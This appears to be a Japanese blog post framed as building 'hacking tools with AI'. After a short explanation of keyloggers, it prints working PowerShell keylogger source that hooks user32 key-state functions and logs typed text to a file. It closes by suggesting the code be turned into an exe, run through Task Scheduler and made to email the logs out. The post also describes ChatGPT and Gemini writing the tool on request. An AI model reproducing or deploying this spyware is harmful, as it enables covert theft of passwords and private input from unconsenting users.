見出し画像

AIと作るハッキングツール【キーロガー】

AIと作るハッキングツール

Windows標準機能だけを使ってハッキングツールを作ろうと思います。
自分の実力では到底作り上げられないのでAIの力を借ります。
今回はキーロガー。

環境
 OS:Windows10以降
 プログラミング言語:PowerShell 5.1


キーロガーとは

キーロガー(Keylogger)は、キーボード入力を記録するソフトウェアまたはハードウェアのことを指します。一般的に、キーロガーはコンピュータ上で動作し、ユーザーがキーボードで入力した文字を監視し、それらの情報を記録します。

キーロガーはさまざまな目的で使用されます。一般的な使用例には、以下のようなものがあります。

  1. セキュリティ調査: 企業や組織は、従業員がセキュリティポリシーに違反していないかを確認するために、キーロガーを使用することがあります。たとえば、機密情報の漏洩を防ぐために、従業員が機密情報にアクセスしたり送信したりしていないかを監視することがあります。

  2. 親の監視: 一部の親は、子供がインターネット上で安全に行動しているかどうかを確認するためにキーロガーを使用することがあります。これは、子供が不適切なサイトにアクセスしたり、不適切なメッセージを送信したりしていないかを監視するためです。

  3. 犯罪行為: 悪意のある個人や組織は、キーロガーを使用して、ユーザーの個人情報や金融情報を盗み出したり、パスワードを入手したりすることがあります。これは、クレジットカード情報やオンラインアカウントへのアクセスなどの非合法な行為に悪用される可能性があります。

キーロガーは、その機能に応じて、ソフトウェアベースまたはハードウェアベースで実装されることがあります。ソフトウェアキーロガーは、コンピュータにインストールされて実行され、キーボード入力を監視します。一方、ハードウェアキーロガーは、物理的にキーボードとコンピュータの間に取り付けられ、キーボード入力を記録します。


chatGPTに聞いてみた


キーロガーの作り方を聞いてみました。

「PowerShellでキーボード入力を調べるプログラムを作ってださい」

いきなりできてしまいました。
しかしWaitForKeysメソッドの部分が間違っています。それとPowerShell7.x以降でないと動きません。修正版が下のコード

#キーロガー PowerShell 7.x以降
# キー入力を検出するための関数
function Detect-KeyPress {
    while ($true) {
        $key = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode
        Write-Host "Key Pressed: $($key)"
    }
}

# キー入力の監視を開始
Detect-KeyPress

PowerShell 7.5.0で動かすと下のようになりました。

数字で出力されますけど、数字を文字に変換すればOK。
もう少し直したらキーロガーになりそうです。
でも、できれば標準のPowerShell5.1で動いてほしい。


完成形

chatGPTやGeminiと2日ほど格闘した結果、下のようになりました。
10個キーを押すごとにc:\temp\keylogs.txtに保存するようになっています。


Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Text;

public class Win32 {
    [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
    public static extern short GetAsyncKeyState(int virtualKeyCode);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int MapVirtualKey(uint uCode, int uMapType);

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, StringBuilder pwszBuff, int cchBuff, uint wFlags);

    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int GetKeyboardState(byte[] keystate);
}
"@


$keylogs = ""

while ($true) {
    Start-Sleep -Milliseconds 50

    for ($vkeycode = 48 ; $vkeycode -le 254; $vkeycode++) {
        $state = [Win32]::GetAsyncKeyState($vkeycode)

        if ($state -and 0x8000) {
            $capsLock = [console]::CapsLock
            $scancode = [Win32]::MapVirtualKey($vkeycode, $capsLock)
            $keyboardstate = New-Object Byte[] 256
            $tmp = [Win32]::GetKeyboardState($keyboardstate)
            $keylog = New-Object -TypeName System.Text.StringBuilder
            $success = [Win32]::ToUnicode($vkeycode, $scancode, $keyboardstate, $keylog, $keylog.Capacity, 0)

            if ($success) {
                $keylogs += $keylog
            }
        }
    }
    
    if ($keylogs.length -gt 10) {
    	write-host $(Get-Date) $keylogs
        $keylogs | Out-File -FilePath "c:\temp\keylogs.txt" -Append
    	$keylogs = ""
    }
}

GetAsyncKeyState関数で押下しているキーを調べています。
例えばGetAsyncKeyState(65)だとAキーを押しているかどうか分かります。

特殊なキーも調べることができ次の数字が対応しています。

8 : BackSpace
9 : Tab
13 : Enter
16 : Shift
17 : Ctrl
18 : Alt
19 : Pause/Break
27 : Esc
32 : Space
33 : PAGEUP
34 : PAGEDOWN
35 : End
36 : Home
37 : 左キー
38 : 上キー
39 : 右キー
40 : 下キー
45 : Insert
46 : Delete


最後

 あとはこれをexe化して、タスクスケジューラーで実行、ログをメール送信すればキーロガーの完成です。

参考になる記事リンクをしたに残しておきます



#PowerShell #AI #キーロガー #プログラミング初心者 #プログラミング言語


この記事が気に入ったらサポートをしてみませんか?